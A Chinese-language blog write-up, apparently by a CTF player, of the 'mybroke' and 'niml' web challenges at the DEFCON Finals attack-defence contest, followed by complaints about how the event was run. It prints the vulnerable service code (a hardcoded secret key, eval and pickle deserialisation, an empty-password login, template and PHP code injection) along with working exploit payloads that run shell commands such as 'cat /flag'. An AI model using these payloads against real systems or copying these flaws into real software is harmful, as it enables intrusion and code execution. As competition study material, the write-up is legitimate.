DEFCON 初赛那会还没进 r3,这不刚来 r3 一个多月,赶上了 DEFCON FINAL,跑去北京帮忙打 web 题

这比赛线下在美国拉斯维加斯的一个酒店里,咱们去不了美利坚,但是北京租个大别墅,大家聚在一起远程玩

感觉这比赛的主办方 N******* I******** 很不行,VPN 限流,AWD 体验还不如中国的大学生国赛

mybroke

源码里塞了 n 个二进制可执行文件,二进制手逆了逆,说里面有几个二进制有洞,但是需要从 web 端进行交互,不太好直接当成 pwn 来打

run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

cd /service
./fileup &
./fileman &
./kvstore &
./inventory &
./integrity.dist/integrity.bin &
. .venv/bin/activate
gunicorn --bind unix:/service/run.sock web.wsgi:app --daemon
# gunicorn --bind 0.0.0.0:8080 web.wsgi:app --daemon
/usr/sbin/nginx -g "daemon off;" &
socat - tcp6-connect:[::1]:11342,retry=10,interval=1 2>/dev/null

fileup fileman kvstroe inventory integrity.dist/integrity.bin 全都是二进制文件,执行之后会在一个指定的端口开启 http 或 nc 服务
题目中 backend_api.py 里的 api 就是通过请求这些端口上的服务来实现的功能

1
2
3
4
5
6
7
8
INVENTORY_BACKEND_URL = "http://[::1]:8900/"
FILEMAN_BACKEND_URL = "http://[::1]:8903/"
KVSTORE_BACKEND_HOST = "::1"
KVSTORE_BACKEND_PORT = 8902
FILEUP_BACKEND_HOST = "::1"
FILEUP_BACKEND_PORT = 8906
INTEGRITY_BACKEND_HOST = "::1"
INTEGRITY_BACKEND_PORT = 8909

secretkey

secret_key 是硬编码的,这肯定不行呀,改一个 cookie 就能直接拿 flag

1
2
app = Flask(__name__)
app.secret_key = b"MHmWVmjc8WAyrbgdajTH"

当时网络卡的一笔,高级点的 web 漏洞利用流量都打不出去,只有这一个洞打出来的 flag 能拿一拿了,西电那位 web 👴 手动浏览器,一个一个站访问去拿,吐槽:”什么黑奴”

fileman

fileman 这个文件有问题,二进制手说是 Rust 写的,逆不懂
只好瞎测,测出来的 file_path=///flag 加上三个斜杠就可以任意读文件,但是题目里有一些些限制,没法走到这个点(写这篇博客的时候重新看了眼当时抄流量抄来的 exp,发现其实是可以利用的,可惜但是没想到,哎,菜了 😭)

1
2
3
4
5
6
7
def get_house_picture(file_path: str) -> bytes:
r = requests.get(FILEMAN_BACKEND_URL + file_path)
if r.status_code != 200:
return b""
return r.content

print(get_house_picture("///flag"))

比赛开始之后抓流量,发现其他队伍靠着 get_house_picture("flag?a1#--") 也能实现任意文件读,把我们 flag 打了,真是搞不懂,可能也是 FUZZ 出来的

注册一个名字为 ///flag 的账号,注册登录之后即可以将 ///flag 通过 kv_stroe 存起来,在注册的时候会过一遍 sanitize(username),但不影响

1
2
3
4
5
6
7
8
9
10
11
@app.route("/", methods=["GET"])
def index():
username = session.get("username", None)
is_admin = session.get("is_admin", False)

if username:
kv_store("active_users", username)

def sanitize(s: str) -> str:
# no code execution!
return "".join([ch for ch in s if ch not in "\"'.()"])

然后 /add_house 给传入 address=active_users 即可以生成 /get_picture 路由里面所需要的 deobfuscate_param(o0, o1)

/get_pictrue 的时候就可以拿到 get_house_picture("///flag")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.route("/get_picture", methods=["GET"])
def get_picture():
try:
key = request.args["key"]
except KeyError:
abort(400)
return

pic_path_ = kv_load(key, str)

pic_path = request.args.get("path", "")
if not pic_path:
abort(404)
return

if pic_path.count("-") != 1:
abort(400)
return
o0, o1 = pic_path.split("-")
pic_path = deobfuscate_param(o0, o1)
if pic_path is None:
abort(400)
return

if pic_path_ != pic_path:
print("Something is wrong?? Maybe this is an attack. Do not serve the file!")
# abort(401)

content = get_house_picture(pic_path)
if not content:
abort(404)

return content

除了 ///flag 居然可以任意文件读之外,其他都是 web 自身的代码问题,其实也不需要逆向,麻麻了(

kvstroe

听说有溢出漏洞,但是利用不上,作罢
不过调用这一个 api 的函数里面是留了后门的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def kv_load(key: str, typ) -> Optional[Any]:
result = None
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
try:
sock.connect((KVSTORE_BACKEND_HOST, KVSTORE_BACKEND_PORT, 0, 0))
except Exception:
return None
if typ is str:
sock.send(b"load_value\n")
sock.send(key.encode("utf-8") + b"\n")
sock.send(b"string\n")
r = sock.recv(1024)
if b"No such key." in r:
result = None
else:
# handle more types of data using Python's greatness
try:
result = pickle.loads(r)
return str(result) # ensure type matches
except Exception:
pass

try:
result = eval(r.decode("utf-8"))
return str(result) # ensure type matches
except Exception:
pass

result = r.decode("utf-8").strip("\n")

sock.close()
return result

有 pickle 反序列化和 eval 代码执行
比赛时写的 exp 就是打的 eval 代码执行,不过有长度限制和关键字符限制(这些限制的逻辑,都在二进制文件里,咱也是盲测才发现)
换个思路,利用代码中带的 kv_store 先把代码执行存一部分进去,之后 kv_load 拿到了再传入 eval 即可绕过长度限制,进而把 flag 写到 mini.css 文件中(后来通过直接读 mini.css 直接上别人的车拿 flag……)
顺着这个长度限制的绕过,想试试打 pickle 反序列化,当时 pickle 反序列化需要一些 %00 不可见字符,太难搞了,测了挺久的,没打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
tag1 = os.urandom(3).hex()
tag2 = os.urandom(3).hex()
data = {
"address":f'''1+kv_store("{tag1}","__import__('os')\\x2epopen('")''',
"bedrooms":"2",
"bathrooms": "4",
"price":"3"
}
r = requests.post(url+"add_house",data=data,files=file)
data = {
"address":f'''1+kv_store("{tag2}","cp\\x20\\x2ff*\\x20*\\x2fc*\\x2f*')")''',
"bedrooms":"2",
"bathrooms": "4",
"price":"3"
}
r = requests.post(url+"add_house",data=data,files=file)
data = {
"address":f'''1+eval(kv_load("{tag1}",str)+kv_load("{tag2}",str))''',
"bedrooms":"2",
"bathrooms": "4",
"price":"3"
}
r = requests.post(url+"add_house",data=data,files=file)

等到最后快结束的半小时里,大家的 mybroker 这题基本也都修好了,突然出来一个队伍直接通过几个 /get_pictrue?key={payload} 请求,把题目当成 pwn 来打,打到的 flag 写进 mini.css
一言不合,咱们直接上车,直接读其他队的 mini.css,有 flag 被打进去的就偷

niml

是一个 php 题,当时要通过 nc 在终端跟题目进行交互,就是说,exp 要用 pwntools 写,web 手不太会 pwntools,踩了不少坑(

这题里使用了一个主办方自己整出来的 lib.so php 拓展文件,web 🐶 只好抱着电脑去问 re 👴,问问里面有啥逻辑,有啥漏洞
re 👴 告诉我,要传 json 进去,就是下面这种形式

1
2
3
4
5
{
"method": "VIEW",
"args": { "title": "x", "body": "" },
"path": "/submit.php"
}

那知道了咋传参数,接下来就是 web 环节了,只不过是把交互从浏览器搬到了终端传 json 来进行而已 XD

empty password login

这样子来校验密码的,传一个空密码就可以任意账号登陆(

1
2
3
4
5
6
7
8
9
10
11
12
function check_password_const(&$password, &$target_password) {
$len = strlen($password);
$password = str_split($password);
for ($i = 0; $i < $len; $i++) {
if ($target_password[$i] != $password[$i]) {
$password[$i] = 1;
} else {
$password[$i] = 0;
}
}
return array_sum($password) == 0;
}

登陆了 admin,从 admin.php 里面就会给 flag

1
2
3
4
5
6
7
8
<? if (!isset($_SESSION["user"]) || $_SESSION["user"] != "admin") { ?>
[navigate "/login.php"]
<? } else { ?>
<? echo generate_header("Admin Interface"); ?>

<?= server_info() ?>

<? } ?>

server_info 函数在 common.php

1
2
3
4
5
6
7
8
9
10
11
12
function server_info() {
// The client requires this to be correct to avoid SLA failure
?>
[head "Server Info" {id: "server-info-header"}]
[tag server_info
[row name "Name: niMS"]
[row version "Version: 0.0.1"]
[row php_version "PHP Version: <?= phpversion() ?>"]
[row flag [add "Flag: " [include "/flag"]]]
]
<?
}

ssti

login.php register.php 都有这一段代码,一眼顶真,把 " 做一下前后闭合,中间就是模版渲染,至于模版里有啥函数,我是去请教 re 👴 才知道的

1
2
3
<? if (isset($_ARGS["error"])) { ?>
[row error "<?= $_ARGS["error"] ?>"]
<? } ?>

不过有一个函数,是可以提前知道,就是 common.php 里面留的 include

1
2
{"method":"VIEW","args":{"error":"\"][include \"/flag\"][\""},"path":"/login.php"}
{"method":"VIEW","args":{"error":"\"][include \"/flag\"][\""},"path":"/register.php"}

代码注入

lib.so 里有 message_admin 这一个模版函数,re 👴 说有代码注入,给我看了拼接过程,大概是 return hash('{input}')
这么一看,那解法就跃然纸上了

1
2
3
4
5
6
7
{
"method": "VIEW",
"args": {
"error": "\"][message_admin \"p1g_but_b4d'.system('cat /flag'));echo('1\"][\""
},
"path": "/login.php"
}

其他

就看了这么几个,抓流量才发现这题还有其他可以打的点

ssti

lib.so 内置的还有一个 add 函数,其他队伍通过 add 拼接,绕过了我们的关键字过滤(

1
2
3
4
5
6
7
8
{
"method": "VIEW",
"path": "/submit.php",
"args": {
"title": "cTTBAl6YCT",
"body": "{\"str\": [[] [add \"__\" \"INT\" \"ERN\" \"AL_\" \"INC\" \"LUD\" \"E_5\" \"2ae\" \"622\" \"bd8\" \"f49\" \"730\" \"420\" \"c95\" \"739\" \"46bcac7\"]]}\n{\"mint\": [eval str]}\n[mint [add \"/\" \"f\" \"l\" \"a\" \"g\"]]"
}
}

代码注入

0x01

prepare_title($_ARGS["title"]) 没有过滤反斜杠,传一个反斜杠进去,就可以 body 拼接进 php 代码块了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    $title = prepare_title($_ARGS["title"]);
$body = prepare_body($_ARGS["body"]);

$post = <<<EOF
<? NIMS_sandbox_start(); ?>

<? echo generate_header("$title"); ?>

Author:
$user

Body:
$body

EOF;

payload

1
2
3
4
5
6
7
8
{
"method": "VIEW",
"path": "submit.php",
"args": {
"title": "a\\",
"body": "\");fwrite(fopen('php://stdout','w'),`cat /flag`);"
}
}

0x02

<? echo generate_header("$title"); ?> 传入

1
2
3
4
5
6
7
8
{
"method": "VIEW",
"path": "submit.php",
"args": {
"title": "${`cp /flag /src/server/posts/flag`}",
"body": "sqrtrev"
}
}

会变成如下代码,能就直接执行

1
<? echo generate_header("${`cp /flag /src/server/posts/flag`}"); ?>

这么简单的洞,当时没人提醒,光顾着看模版渲染漏洞了 😭😭😭(

其他

这比赛可以看到其他队对于题目的 patch,所以当时就翻出来其他队的看了看
他们都不是啥常规 patch,python 题上传的只有 pyc 文件,甚至有的源文件引入了一个新的 python 库进行代码混淆
还有的队 patch,传 pyc 的那个,代码里可能判断了请求包的 host 字段,导致我们拿过来的 patch,服务根本就起不来,赶紧下掉换上另一个队
都花里胡哨,这下开眼界了

体验极差的还有,比赛是通过 docker push 镜像进行的
第二天比赛快结束前上了一道 niml 题,docker base pull 下来了,整一天审计的都是这个,patch 也是用的这个作为 base。第三天开始的时候,主办方偷偷换了 docker base 也没跟我们说,西电 web 👴 在 docker push patch 的时候,发现我们的 docker 比原来 base 多了一层 200 多 MB 的 layer,怎么也想不明白为啥,也是因为这个,再加上 VPN 限流,我们的 niml 题过了很久都没把 patch 传上去,还白白占了 exp 攻击脚本的很多流量 XD
西电 web 👴 很不解,重新 pull base 才知道 base 被偷偷主办方改了,怪不得我说给的源码里怎么会有些没有意义的 bug,麻

体验极差的更有,主办方说好的每十五分钟会给这十五分钟的流量包
呃呃,第一第二天愣是等了两三个小时,才把流量给我们,从凌晨一点等到三点多(

还要好多好多,吐槽不动了,这真的是 defcon 吗?N******* I******** 办的跟 💩 一样